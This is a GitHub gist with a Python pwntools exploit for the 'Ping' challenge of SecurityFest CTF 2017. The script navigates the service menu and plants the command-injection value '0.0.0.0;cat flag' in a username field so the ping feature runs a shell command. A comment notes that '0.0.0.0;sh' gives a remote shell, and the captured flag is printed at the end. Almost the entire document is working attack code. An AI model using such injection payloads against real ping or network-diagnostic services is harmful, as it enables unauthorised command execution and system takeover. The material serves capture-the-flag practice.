Skip to content

Instantly share code, notes, and snippets.

@0xPwny
Last active June 2, 2017 04:01
Show Gist options
  • Save 0xPwny/3f3efda0437d7df3c50d85ad214f0a4c to your computer and use it in GitHub Desktop.
Save 0xPwny/3f3efda0437d7df3c50d85ad214f0a4c to your computer and use it in GitHub Desktop.
SecurityFest CTF 2017 Ping - Pwn
#!/usr/bin/python
#Author : Abdeljalil Nouiri
from pwn import *
con =remote('pwn2.ctf.rocks',3030)
con.recvuntil("username:")
con.sendline("HackXore")
con.recvuntil('#>')
con.sendline("1")
con.recvuntil("IP-address:")
con.sendline("0.0.0.0")
con.recvuntil("#>")
con.sendline("3")
con.recvuntil("Y/N?:")
con.sendline("N")
con.recvuntil("username:")
con.sendline("0.0.0.0;cat flag")
con.recvuntil("#>")
con.sendline("2")
con.recvuntil("0.000 ms")
con.recvuntil("\n")
print "FLAG is : " + con.recvuntil("\n")
#U can also get a remote shell by send "0.0.0.0;sh"
"""
con.recv()
con.interactive()
"""
#FLAG : SCTF{p1ng_p0ng_h3r3_1s_4_fl4g}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment